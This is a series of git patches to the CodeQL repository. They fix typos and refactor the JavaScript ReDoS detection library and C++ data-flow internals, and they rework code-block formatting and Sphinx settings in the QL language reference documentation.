ReDoSConfiguration { - SuperLiniearReDoSConfiguration() { this = "SuperLiniearReDoSConfiguration" } +class SuperLinearReDoSConfiguration extends ReDoSConfiguration { + SuperLinearReDoSConfiguration() { this = "SuperLinearReDoSConfiguration" } override predicate isReDoSCandidate(State state, string pump) { isPumpable(_, state, pump) } } @@ -109,23 +109,23 @@ private module FeasibleTuple { pragma[inline] predicate isFeasibleTuple(State r1, State r2, State r3) { // The first element is either inside a repetition (or the start state itself) - isRepeitionOrStart(r1) and + isRepetitionOrStart(r1) and // The last element is inside a repetition stateInsideRepetition(r3) and // The states are reachable in the NFA in the order r1 -> r2 -> r3 delta+(r1) = r2 and delta+(r2) = r3 and - // The last element can reach a target (the "succ" state in a `(pivot, succ)` pair). - canReachATarget(r3) and // The first element can reach a beginning (the "pivot" state in a `(pivot, succ)` pair). - canReachABeginning(r1) + canReachABeginning(r1) and + // The last element can reach a target (the "succ" state in a `(pivot, succ)` pair). + canReachATarget(r3) } /** * Holds if `s` is either inside a repetition, or is the start state (which is a repetition). */ pragma[noinline] - private predicate isRepeitionOrStart(State s) { stateInsideRepetition(s) or s = getRootState() } + private predicate isRepetitionOrStart(State s) { stateInsideRepetition(s) or s = getRootState() } /** * Holds if state `s` might be inside a backtracking repetition. @@ -155,7 +155,7 @@ private module FeasibleTuple { /** * Holds if `pivot` and `succ` are a pair of loops that could be the beginning of a quadratic blowup. * - * There is a slight implementation difference compared to the paper: this predicate require that `pivot != succ`. + * There is a slight implementation difference compared to the paper: this predicate requires that `pivot != succ`. * The case where `pivot = succ` causes exponential backtracking and is handled by the `js/redos` query. */ predicate isStartLoops(State pivot, State succ) { @@ -163,7 +163,7 @@ predicate isStartLoops(State pivot, State succ) { succ.getRepr() instanceof InfiniteRepetitionQuantifier and delta+(pivot) = succ and ( - pivot.getRepr() = any(InfiniteRepetitionQuantifier i) + pivot.getRepr() instanceof InfiniteRepetitionQuantifier or pivot = mkMatch(any(RegExpRoot root)) ) @@ -333,7 +333,7 @@ StateTuple getAnEndTuple(State pivot, State succ) { * From theorem 3 in the paper linked in the top of this file we can therefore conclude that * the regular expression has polynomial backtracking - if a rejecting suffix exists. * - * This predicate is used by `SuperLiniearReDoSConfiguration`, and the final results are + * This predicate is used by `SuperLinearReDoSConfiguration`, and the final results are * available in the `hasReDoSResult` predicate. */ predicate isPumpable(State pivot, State succ, string pump) { From 303408b774719fbd298f4d970f616161e8dc7249 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Tue, 22 Dec 2020 15:42:36 +0100 Subject: [PATCH 0375/1241] remove duplicate char --- .../ql/src/semmle/javascript/security/performance/ReDoSUtil.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll index cabd5f085d4..8e6a7322091 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll @@ -915,7 +915,7 @@ private module SuffixConstruction { */ pragma[noinline] private string relevant(RegExpRoot root) { - result = ["a", "9", "|", "\n", " ", "|", "\n", "Z"] // must include all the strings from `hasSimpleRejectEdge`. + result = ["a", "9", " ", "|", "\n", "Z"] // must include all the strings from `hasSimpleRejectEdge`. or exists(InputSymbol s | belongsTo(s, root) | result = intersect(s, _)) } From b95cf948249bfef8b6cced8ab0d1ea94fb4f7260 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Tue, 22 Dec 2020 15:57:34 +0100 Subject: [PATCH 0376/1241] Update cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll Co-authored-by: Jonas Jensen <jbj@github.com> --- .../src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll index 0c3b06addf7..0c863a3a340 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll @@ -239,7 +239,7 @@ FieldNode getFieldNodeForFieldInstruction(Instruction instr) { * INTERNAL: do not use. A `FieldNode` represents the state of a field before any partial definitions * of the field. For instance, in the snippet: * ```cpp - * struct A { int b, c; }; + * struct A { struct B { int c; } b; }; * // ... * A a; * f(a.b.c); From 44571ffeea27c3842441961c9f20f23fffdee697 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Tue, 22 Dec 2020 16:00:23 +0100 Subject: [PATCH 0377/1241] use the full ascii set instead of a few chosen chars --- .../ql/src/semmle/javascript/security/performance/ReDoSUtil.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll index 8e6a7322091..e684389059e 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll @@ -915,7 +915,7 @@ private module SuffixConstruction { */ pragma[noinline] private string relevant(RegExpRoot root) { - result = ["a", "9", " ", "|", "\n", "Z"] // must include all the strings from `hasSimpleRejectEdge`. + exists(ascii(result)) or exists(InputSymbol s | belongsTo(s, root) | result = intersect(s, _)) } From d2d8377e88a6035370cb20142b442ff01358fed2 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Tue, 22 Dec 2020 16:34:53 +0100 Subject: [PATCH 0378/1241] Update cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll Co-authored-by: Jonas Jensen <jbj@github.com> --- .../code/cpp/ir/dataflow/internal/DataFlowUtil.qll | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll index 0c863a3a340..48c23e0b551 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll @@ -451,12 +451,12 @@ abstract class PostUpdateNode extends Node { } /** - * A partial definition of a node. A partial definition that target arrays or pointers is attached to + * A partial definition of a node. A partial definition that targets arrays or pointers is attached to * an `InstructionNode` (specifially, to the `ChiInstruction` that follows the `StoreInstruction`), and - * a partial update that targets a `FieldNode` is attached to the `FieldNode`. - *s - * The pre update node of a partial definition of a `FieldNode` is the `FieldNode` itself. This ensures - * that the dataflow library's reverse read mechanism builds up the correct access path for nested + * a partial definition that targets a `FieldNode` is attached to the `FieldNode`. + * + * The pre-update node of a partial definition of a `FieldNode` is the `FieldNode` itself. This ensures + * that the data flow library's reverse read mechanism builds up the correct access path for nested * fields. * For instance, in `a.b.c = x` there is a partial definition for `c` (let's call it `post[c]`) and a * partial definition for `b` (let's call it `post[b]`), and there is a read step from `b` to `c` From 6545d0b53af6fb45ea81519b088635c557615fcc Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Tue, 22 Dec 2020 16:56:30 +0100 Subject: [PATCH 0379/1241] C++: Move conflation check into each disjunct. --- .../cpp/ir/dataflow/internal/DataFlowUtil.qll | 36 +++++++++---------- 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll index 48c23e0b551..55ca891ab29 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll @@ -744,27 +744,27 @@ private FieldNode getOutermostFieldNode(Instruction address) { private predicate flowIntoReadNode(Node nodeFrom, FieldNode nodeTo) { // flow from the memory of a load to the "outermost" field of that load. - not nodeFrom.asInstruction().isResultConflated() and - ( - exists(LoadInstruction load | - nodeTo = getOutermostFieldNode(load.getSourceAddress()) and - nodeFrom.asInstruction() = load.getSourceValueOperand().getAnyDef() - ) - or - // We need this to make stores look like loads for the dataflow library. So when there's a store - // of the form x->y = z we need to make the field node corresponding to y look like it's reading - // from the memory of x. - exists(StoreInstruction store, ChiInstruction chi | - chi.getPartial() = store and - nodeTo = getOutermostFieldNode(store.getDestinationAddress()) and - nodeFrom.asInstruction() = chi.getTotal() - ) + exists(LoadInstruction load | + nodeTo = getOutermostFieldNode(load.getSourceAddress()) and + not nodeFrom.asInstruction().isResultConflated() and + nodeFrom.asInstruction() = load.getSourceValueOperand().getAnyDef() ) or - exists(ReadSideEffectInstruction read | - not read.getSideEffectOperand().getAnyDef().isResultConflated() and + // We need this to make stores look like loads for the dataflow library. So when there's a store + // of the form x->y = z we need to make the field node corresponding to y look like it's reading + // from the memory of x. + exists(StoreInstruction store, ChiInstruction chi | + chi.getPartial() = store and + nodeTo = getOutermostFieldNode(store.getDestinationAddress()) and + not nodeFrom.asInstruction().isResultConflated() and + nodeFrom.asInstruction() = chi.getTotal() + ) + or + exists(ReadSideEffectInstruction read, SideEffectOperand sideEffect | + sideEffect = read.getSideEffectOperand() and + not sideEffect.getAnyDef().isResultConflated() and nodeTo = getOutermostFieldNode(read.getArgumentDef()) and - nodeFrom.asOperand() = read.getSideEffectOperand() + nodeFrom.asOperand() = sideEffect ) } From c2fdb47abe066cec3d494c9e99cb885aa5551902 Mon Sep 17 00:00:00 2001 From: Shati Patel <42641846+shati-patel@users.noreply.github.com> Date: Wed, 23 Dec 2020 07:30:11 +0000 Subject: [PATCH 0380/1241] Docs: Fix CSS for "pull-quotes" --- docs/codeql/_static/custom.css_t | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/codeql/_static/custom.css_t b/docs/codeql/_static/custom.css_t index b9d92330978..16cfcb5a2f9 100644 --- a/docs/codeql/_static/custom.css_t +++ b/docs/codeql/_static/custom.css_t @@ -200,7 +200,7 @@ blockquote.pull-quote { border-radius: 5px; } -blockquote.pull-quote p:first-of-type { +blockquote.pull-quote:first-line { font-weight: bold; margin-top: 0px; } From a14f53c02fa4b665c471330821918b60e1a36d90 Mon Sep 17 00:00:00 2001 From: Shati Patel <42641846+shati-patel@users.noreply.github.com> Date: Wed, 23 Dec 2020 10:15:09 +0000 Subject: [PATCH 0381/1241] Set default highlighting language to "none" globally Otherwise Python is the default --- docs/codeql/conf.py | 4 ++++ .../ql-language-reference/ql-language-specification.rst | 4 ---- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/docs/codeql/conf.py b/docs/codeql/conf.py index 29321e50a58..f0d6f8c5ae0 100644 --- a/docs/codeql/conf.py +++ b/docs/codeql/conf.py @@ -39,6 +39,10 @@ source_encoding = 'utf-8-sig' # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' +# The default language for syntax highlighting, defaults to Python if omitted. + +highlight_language = "none" + # Import the QL Lexer to use for syntax highlighting import os import sys diff --git a/docs/codeql/ql-language-reference/ql-language-specification.rst b/docs/codeql/ql-language-reference/ql-language-specification.rst index 25a996496b2..27947e2443a 100644 --- a/docs/codeql/ql-language-reference/ql-language-specification.rst +++ b/docs/codeql/ql-language-reference/ql-language-specification.rst @@ -7,10 +7,6 @@ QL language specification This is a formal specification for the QL language. It provides a comprehensive reference for terminology, syntax, and other technical details about QL. -.. This ``highlight`` directive prevents code blocks in this file being highlighted as QL (the default language for this Sphinx project). - -.. highlight:: none - Introduction ------------ From f1d8d9414f364fa2a3ced13a5056664a5515a4b2 Mon Sep 17 00:00:00 2001 From: Shati Patel <42641846+shati-patel@users.noreply.github.com> Date: Wed, 23 Dec 2020 10:28:43 +0000 Subject: [PATCH 0382/1241] Fix code blocks in QL language reference --- docs/codeql/ql-language-reference/aliases.rst | 24 +++++-- .../ql-language-reference/annotations.rst | 16 +++-- .../evaluation-of-ql-programs.rst | 12 +++- .../ql-language-reference/expressions.rst | 70 ++++++++++++------- .../codeql/ql-language-reference/formulas.rst | 13 ++-- docs/codeql/ql-language-reference/modules.rst | 8 ++- .../ql-language-reference/name-resolution.rst | 12 ++-- .../ql-language-reference/predicates.rst | 8 ++- docs/codeql/ql-language-reference/queries.rst | 8 ++- .../ql-language-reference/recursion.rst | 20 ++++-- docs/codeql/ql-language-reference/types.rst | 36 +++++++--- 11 files changed, 157 insertions(+), 70 deletions(-) diff --git a/docs/codeql/ql-language-reference/aliases.rst b/docs/codeql/ql-language-reference/aliases.rst index 9e2c173a8ab..4a9c2cb8886 100644 --- a/docs/codeql/ql-language-reference/aliases.rst +++ b/docs/codeql/ql-language-reference/aliases.rst @@ -33,7 +33,9 @@ to the name that it aliases. Module aliases ============== -Use the following syntax to define an alias for a :ref:`module <modules>`:: +Use the following syntax to define an alias for a :ref:`module <modules>`: + +.. code-block:: ql module ModAlias = ModuleName; @@ -52,14 +54,18 @@ a deprecation warning is displayed. Type aliases ============ -Use the following syntax to define an alias for a :ref:`type <types>`:: +Use the following syntax to define an alias for a :ref:`type <types>`: + +.. code-block:: ql class TypeAlias = TypeName; Note that ``class`` is just a keyword. You can define an alias for any type—namely, :ref:`primitive types <primitive-types>`, :ref:`database types <database-types>` and user-defined :ref:`classes <classes>`. -For example, you can use an alias to abbreviate the name of the primitive type ``boolean`` to ``bool``:: +For example, you can use an alias to abbreviate the name of the primitive type ``boolean`` to ``bool``: + +.. code-block:: ql class bool = boolean; @@ -80,21 +86,27 @@ Or, to use a class ``OneTwo`` defined in a :ref:`module <explicit-modules>` ``M` Predicate aliases ================= -Use the following syntax to define an alias for a :ref:`non-member predicate <non-member-predicates>`:: +Use the following syntax to define an alias for a :ref:`non-member predicate <non-member-predicates>`: + +.. code-block:: ql predicate PredAlias = PredicateName/Arity; This works for predicates :ref:`with <predicates-with-result>` or :ref:`without <predicates-without-result>` result. For example, suppose you frequently use the following predicate, which calculates the successor of a positive integer -less than ten:: +less than ten: + +.. code-block:: ql int getSuccessor(int i) { result = i + 1 and i in [1 .. 9] } -You can use an alias to abbreviate the name to ``succ``:: +You can use an alias to abbreviate the name to ``succ``: + +.. code-block:: ql predicate succ = getSuccessor/1; diff --git a/docs/codeql/ql-language-reference/annotations.rst b/docs/codeql/ql-language-reference/annotations.rst index cd9f2c72860..d954ca1cf45 100644 --- a/docs/codeql/ql-language-reference/annotations.rst +++ b/docs/codeql/ql-language-reference/annotations.rst @@ -83,7 +83,9 @@ to describe specific configurations. Any non-abstract subtypes must override it indirectly) to describe what sources of data they each track. In other words, all non-abstract classes that extend ``Configuration`` must override ``isSource`` in their -own body, or they must inherit from another class that overrides ``isSource``:: +own body, or they must inherit from another class that overrides ``isSource``: + +.. code-block:: ql class ConfigA extends Configuration { ... @@ -328,8 +330,10 @@ When you use this annotation, be aware of the following issues: In particular, you can't chain predicate :ref:`calls <calls>` or call predicates on a :ref:`cast <casts>`. You must write them as multiple conjuncts and explicitly order them. - For example, suppose you have the following definitions:: - + For example, suppose you have the following definitions: + + .. code-block:: ql + class Small extends int { Small() { this in [1 .. 10] } Small getSucc() { result = this + 1} @@ -343,8 +347,10 @@ When you use this annotation, be aware of the following issues: s.getSucc().getSucc() = 3 } - If you add ``noopt`` pragmas, you must rewrite the predicates. For example:: - + If you add ``noopt`` pragmas, you must rewrite the predicates. For example: + + .. code-block:: ql + pragma[noopt] predicate p(int i) { exists(Small s | s = i and s.getSucc() = 2) diff --git a/docs/codeql/ql-language-reference/evaluation-of-ql-programs.rst b/docs/codeql/ql-language-reference/evaluation-of-ql-programs.rst index 507c1456582..a56b0f832a3 100644 --- a/docs/codeql/ql-language-reference/evaluation-of-ql-programs.rst +++ b/docs/codeql/ql-language-reference/evaluation-of-ql-programs.rst @@ -48,21 +48,27 @@ Here are some common ways that you might define infinite predicates. These all g compilation errors: - The following query conceptually selects all values of type ``int``, without restricting them. - The QL compiler returns the error ``'i' is not bound to a value``:: + The QL compiler returns the error ``'i' is not bound to a value``: + + .. code-block:: ql from int i select i - The following predicate generates two errors: ``'n' is not bound to a value`` and ``'result' is - not bound to a value``:: + not bound to a value``: + .. code-block:: ql + int timesTwo(int n) { result = n * 2 } - The following class ``Person`` contains all strings that start with ``"Peter"``. There are infinitely many such strings, so this is another invalid definition. The QL compiler gives the - error message ``'this' is not bound to a value``:: + error message ``'this' is not bound to a value``: + + .. code-block:: ql class Person extends string { Person() { diff --git a/docs/codeql/ql-language-reference/expressions.rst b/docs/codeql/ql-language-reference/expressions.rst index 2bd89d8ab8d..89b69d49613 100644 --- a/docs/codeql/ql-language-reference/expressions.rst +++ b/docs/codeql/ql-language-reference/expressions.rst @@ -37,7 +37,7 @@ You can express certain values directly in QL, such as numbers, booleans, and st possibly starting with a minus sign (``-``). For example: -.. code-block:: ql + .. code-block:: ql 0 42 @@ -45,7 +45,9 @@ You can express certain values directly in QL, such as numbers, booleans, and st - :ref:`Float <float>` literals: These are sequences of decimal digits separated by a dot (``.``), possibly starting with a minus sign (``-``). - For example:: + For example: + + .. code-block:: ql 2.0 123.456 @@ -56,7 +58,7 @@ You can express certain values directly in QL, such as numbers, booleans, and st characters represent themselves, but there are a few characters that you need to "escape" with a backslash. The following are examples of string literals: -.. code-block:: ql + .. code-block:: ql "hello" "They said, \"Please escape quotation marks!\"" @@ -135,7 +137,7 @@ In the following example, the class ``C`` inherits two definitions of the predic ``getANumber()``—one from ``A`` and one from ``B``. Instead of overriding both definitions, it uses the definition from ``B``. -:: +.. code-block:: ql class A extends int { A() { this = 1 } @@ -213,7 +215,7 @@ The following aggregates are available in QL: For example, the following aggregation returns the number of files that have more than ``500`` lines: -.. code-block:: ql + .. code-block:: ql count(File f | f.getTotalNumberOfLines() > 500 | f) @@ -229,7 +231,7 @@ The following aggregates are available in QL: For example, the following aggregation returns the name of the ``.js`` file (or files) with the largest number of lines: -.. code-block:: ql + .. code-block:: ql max(File f | f.getExtension() = "js" | f.getBaseName() order by f.getTotalNumberOfLines()) @@ -237,7 +239,7 @@ The following aggregates are available in QL: below, that is, the string that comes first in the lexicographic ordering of all the possible values of ``s``. (In this case, it returns ``"De Morgan"``.) - :: + .. code-block:: ql min(string s | s = "Tarski" or s = "Dedekind" or s = "De Morgan" | s) @@ -249,7 +251,9 @@ The following aggregates are available in QL: returns no values. In other words, it evaluates to the empty set. For example, the following aggregation returns the average of the integers ``0``, ``1``, - ``2``, and ``3``:: + ``2``, and ``3``: + + .. code-block:: ql avg(int i | i = [0 .. 3] | i) @@ -260,7 +264,9 @@ The following aggregates are available in QL: If there are no possible assignments to the aggregation variables that satisfy the formula, then the sum is ``0``. For example, the following aggregation returns the sum of ``i * j`` for all possible values - of ``i`` and ``j``:: + of ``i`` and ``j``: + + .. code-block:: ql sum(int i, int j | i = [0 .. 2] and j = [3 .. 5] | i * j) @@ -274,14 +280,16 @@ The following aggregates are available in QL: For example, the following aggregation returns the string ``"3210"``, that is, the concatenation of the strings ``"0"``, ``"1"``, ``"2"``, and ``"3"`` in descending order: -.. code-block:: ql + .. code-block:: ql concat(int i | i = [0 .. 3] | i.toString() order by i desc) The ``concat`` aggregate can also take a second expression, separated from the first one by a comma. This second expression is inserted as a separator between each concatenated value. - For example, the following aggregation returns ``"0|1|2|3"``:: + For example, the following aggregation returns ``"0|1|2|3"``: + + .. code-block:: ql concat(int i | i = [0 .. 3] | i.toString(), "|") @@ -294,7 +302,9 @@ The following aggregates are available in QL: For example, the following aggregation returns the value that is ranked 4th out of all the possible values. In this case, ``8`` is the 4th integer in the range from ``5`` through - ``15``:: + ``15``: + + .. code-block:: ql rank[4](int i | i = [5 .. 15] | i) @@ -317,7 +327,9 @@ The following aggregates are available in QL: For example, the following query returns the positive integers ``1``, ``2``, ``3``, ``4``, ``5``. For negative integers ``x``, the expressions ``x`` and ``x.abs()`` have different values, so the - value for ``y`` in the aggregate expression is not uniquely determined. :: + value for ``y`` in the aggregate expression is not uniquely determined. + + .. code-block:: ql from int x where x in [-5 .. 5] and x != 0 @@ -394,48 +406,54 @@ aggregation in a simpler form: then you can omit the ``<variable declarations>`` and ``<formula>`` parts and write it as follows: -.. code-block:: ql + .. code-block:: ql <aggregate>(<expression>) For example, the following aggregations determine how many times the letter ``l`` occurs in - string ``"hello"``. These forms are equivalent:: + string ``"hello"``. These forms are equivalent: + + .. code-block:: ql count(int i | i = "hello".indexOf("l") | i) count("hello".indexOf("l")) #. If there only one aggregation variable, you can omit the ``<expression>`` part instead. In this case, the expression is considered to be the aggregation variable itself. - For example, the following aggregations are equivalent:: - + For example, the following aggregations are equivalent: + + .. code-block:: ql + avg(int i | i = [0 .. 3] | i) avg(int i | i = [0 .. 3]) #. As a special case, you can omit the ``<expression>`` part from ``count`` even if there is more than one aggregation variable. In such a case, it counts the number of distinct tuples of aggregation variables that satisfy the formula. In other words, the expression part is - considered to be the constant ``1``. For example, the following aggregations are equivalent:: - + considered to be the constant ``1``. For example, the following aggregations are equivalent: + + .. code-block:: ql + count(int i, int j | i in [1 .. 3] and j in [1 .. 3] | 1) count(int i, int j | i in [1 .. 3] and j in [1 .. 3]) #. You can omit the ``<formula>`` part, but in that case you should include two vertical bars: -.. code-block:: ql + .. code-block:: ql <aggregate>(<variable declarations> | | <expression>) This is useful if you don't want to restrict the aggregation variables any further. For example, the following aggregation returns the maximum number of lines across all files: -.. code-block:: ql + .. code-block:: ql max(File f | | f.getTotalNumberOfLines()) #. Finally, you can also omit both the ``<formula>`` and ``<expression>`` parts. For example, the following aggregations are equivalent ways to count the number of files in a database: -.. code-block:: ql + .. code-block:: ql count(File f | any() | 1) count(File f | | 1) @@ -637,7 +655,9 @@ is exactly equivalent to ``((Foo)x)``. Casts are useful if you want to call a :ref:`member predicate <member-predicates>` that is only defined for a more specific type. For example, the following query selects Java `classes <https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Type.qll/type.Type$Class.html>`_ -that have a direct supertype called "List":: +that have a direct supertype called "List": + +.. code-block:: ql import java @@ -668,7 +688,9 @@ Unlike other expressions, a don't-care expression does not have a type. In pract means that ``_`` doesn't have any :ref:`member predicates <member-predicates>`, so you can't call ``_.somePredicate()``. -For example, the following query selects all the characters in the string ``"hello"``:: +For example, the following query selects all the characters in the string ``"hello"``: + +.. code-block:: ql from string s where s = "hello".charAt(_) diff --git a/docs/codeql/ql-language-reference/formulas.rst b/docs/codeql/ql-language-reference/formulas.rst index 1354f087d0d..3de93afec6c 100644 --- a/docs/codeql/ql-language-reference/formulas.rst +++ b/docs/codeql/ql-language-reference/formulas.rst @@ -381,13 +381,14 @@ disjunction. **Example** With the following definition, an integer is in the class ``OneTwoThree`` if it is equal to -``1``, ``2``, or ``3``:: +``1``, ``2``, or ``3``: + +.. code-block:: ql class OneTwoThree extends int { OneTwoThree() { this = 1 or this = 2 or this = 3 } - ... } .. index:: implies @@ -418,15 +419,15 @@ The following query selects any ``SmallInt`` that is odd, or a multiple of ``4`` .. [#] The difference between ``A != B`` and ``not A = B`` is due to the underlying quantifiers. If you think of ``A`` and ``B`` as sets of values, then ``A != B`` means: -.. code-block:: ql + .. code-block:: ql - exists( a, b | a in A and b in B | a != b ) + exists( a, b | a in A and b in B | a != b ) On the other hand, ``not A = B`` means: -.. code-block:: ql + .. code-block:: ql not exists( a, b | a in A and b in B | a = b ) This is equivalent to ``forall( a, b | a in A and b in B | a != b )``, which is very - different from the first formula. \ No newline at end of file + different from the first formula. diff --git a/docs/codeql/ql-language-reference/modules.rst b/docs/codeql/ql-language-reference/modules.rst index 472f889c161..a02a4f2a800 100644 --- a/docs/codeql/ql-language-reference/modules.rst +++ b/docs/codeql/ql-language-reference/modules.rst @@ -17,7 +17,9 @@ Defining a module There are various ways to define modules—here is an example of the simplest way, declaring an :ref:`explicit module <explicit-modules>` named ``Example`` containing -a class ``OneTwoThree``:: +a class ``OneTwoThree``: + +.. code-block:: ql module Example { class OneTwoThree extends int { @@ -115,7 +117,9 @@ the module name, and then the module body enclosed in braces. It can contain any of the elements listed in ":ref:`module-bodies`" below, apart from select clauses. For example, you could add the following QL snippet to the library file **OneTwoThreeLib.qll** -defined :ref:`above <library-modules>`:: +defined :ref:`above <library-modules>`: + +.. code-block:: ql ... module M { diff --git a/docs/codeql/ql-language-reference/name-resolution.rst b/docs/codeql/ql-language-reference/name-resolution.rst index ad309cebcb7..6d4d4b96993 100644 --- a/docs/codeql/ql-language-reference/name-resolution.rst +++ b/docs/codeql/ql-language-reference/name-resolution.rst @@ -106,7 +106,7 @@ Consider the following :ref:`library module <library-modules>`: **CountriesLib.qll** -:: +.. code-block:: ql class Countries extends string { Countries() { @@ -129,7 +129,9 @@ Consider the following :ref:`library module <library-modules>`: } You could write a query that imports ``CountriesLib`` and then uses ``M::EuropeanCountries`` -to refer to the class ``EuropeanCountries``:: +to refer to the class ``EuropeanCountries``: + +.. code-block:: ql import CountriesLib @@ -137,7 +139,9 @@ to refer to the class ``EuropeanCountries``:: select ec Alternatively, you could import the contents of ``M`` directly by using the selection -``CountriesLib::M`` in the import statement:: +``CountriesLib::M`` in the import statement: + +.. code-block:: ql import CountriesLib::M @@ -246,7 +250,7 @@ were defined in the :ref:`QL tutorials <ql-tutorials>`: **Villagers.qll** -:: +.. code-block:: ql import tutorial diff --git a/docs/codeql/ql-language-reference/predicates.rst b/docs/codeql/ql-language-reference/predicates.rst index 520d5a29216..c2f023d1450 100644 --- a/docs/codeql/ql-language-reference/predicates.rst +++ b/docs/codeql/ql-language-reference/predicates.rst @@ -8,7 +8,9 @@ Predicates Predicates are used to describe the logical relations that make up a QL program. Strictly speaking, a predicate evaluates to a set of tuples. For example, consider the -following two predicate definitions:: +following two predicate definitions: + +.. code-block:: ql predicate isCountry(string country) { country = "Germany" @@ -142,7 +144,9 @@ on itself. For example, you could use recursion to refine the above example. As it stands, the relation defined in ``getANeighbor`` is not symmetric—it does not capture the fact that if x is a neighbor of y, then y is a neighbor of x. A simple way to capture this is to call this -predicate recursively, as shown below:: +predicate recursively, as shown below: + +.. code-block:: ql string getANeighbor(string country) { country = "France" and result = "Belgium" diff --git a/docs/codeql/ql-language-reference/queries.rst b/docs/codeql/ql-language-reference/queries.rst index 895106479aa..8cba04942b6 100644 --- a/docs/codeql/ql-language-reference/queries.rst +++ b/docs/codeql/ql-language-reference/queries.rst @@ -24,7 +24,9 @@ Select clauses ************** When writing a query module, you can include a **select clause** (usually at the end of the -file) of the following form:: +file) of the following form: + +.. code-block:: ql from /* ... variable declarations ... */ where /* ... logical formula ... */ @@ -105,7 +107,9 @@ This predicate returns the following results: A benefit of writing a query predicate instead of a select clause is that you can call the predicate in other parts of the code too. For example, you can call ``getProduct`` inside -the body of a :ref:`class <classes>`:: +the body of a :ref:`class <classes>`: + +.. code-block:: ql class MultipleOfThree extends int { MultipleOfThree() { this = getProduct(_, _) } diff --git a/docs/codeql/ql-language-reference/recursion.rst b/docs/codeql/ql-language-reference/recursion.rst index e499472d683..9f89955795c 100644 --- a/docs/codeql/ql-language-reference/recursion.rst +++ b/docs/codeql/ql-language-reference/recursion.rst @@ -29,7 +29,9 @@ Counting from 0 to 100 ====================== The following query uses the predicate ``getANumber()`` to list all integers from 0 to 100 -(inclusive):: +(inclusive): + +.. code-block:: ql int getANumber() { result = 0 @@ -46,7 +48,9 @@ Mutual recursion ================ Predicates can be mutually recursive, that is, you can have a cycle of predicates that -depend on each other. For example, here is a QL query that counts to 100 using even numbers:: +depend on each other. For example, here is a QL query that counts to 100 using even numbers: + +.. code-block:: ql int getAnEven() { result = 0 @@ -89,7 +93,9 @@ helpful abbreviations: ``p``, and so on. Using this ``+`` notation is often simpler than defining the recursive predicate explicitly. - In this case, an explicit definition could look like this:: + In this case, an explicit definition could look like this: + + .. code-block:: ql Person getAnAncestor() { result = this.getAParent() @@ -107,7 +113,9 @@ helpful abbreviations: For example, the result of ``p.getAParent*()`` is an ancestor of ``p`` (as above), or ``p`` itself. - In this case, the explicit definition looks like this:: + In this case, the explicit definition looks like this: + + .. code-block:: ql Person getAnAncestor2() { result = this @@ -176,7 +184,9 @@ According to this definition, the predicate ``isParadox()`` holds precisely when This is impossible, so there is no fixed point solution to the recursion. If the recursion appears under an even number of negations, then this isn't a problem. -For example, consider the following (slightly macabre) member predicate of class ``Person``:: +For example, consider the following (slightly macabre) member predicate of class ``Person``: + +.. code-block:: ql predicate isExtinct() { this.isDead() and diff --git a/docs/codeql/ql-language-reference/types.rst b/docs/codeql/ql-language-reference/types.rst index a8c8c4bd5bc..1ab62cdd97a 100644 --- a/docs/codeql/ql-language-reference/types.rst +++ b/docs/codeql/ql-language-reference/types.rst @@ -163,7 +163,9 @@ The expression ``(OneTwoThree)`` is a :ref:`cast <casts>`. It ensures that ``1`` ``getAString()``. Member predicates are especially useful because you can chain them together. For example, you -can use ``toUpperCase()``, a built-in function defined for ``string``:: +can use ``toUpperCase()``, a built-in function defined for ``string``: + +.. code-block:: ql 1.(OneTwoThree).getAString().toUpperCase() @@ -172,9 +174,7 @@ This call returns ``"ONE, TWO OR THREE: 1"``. .. index:: this .. _this: -.. note: - -.. code-block:: ql +.. pull-quote:: Note Characteristic predicates and member predicates often use the variable ``this``. This variable always refers to a member of the class—in this case a value belonging to the @@ -195,7 +195,9 @@ declarations (that is, variable declarations) within its body. You can use these predicate 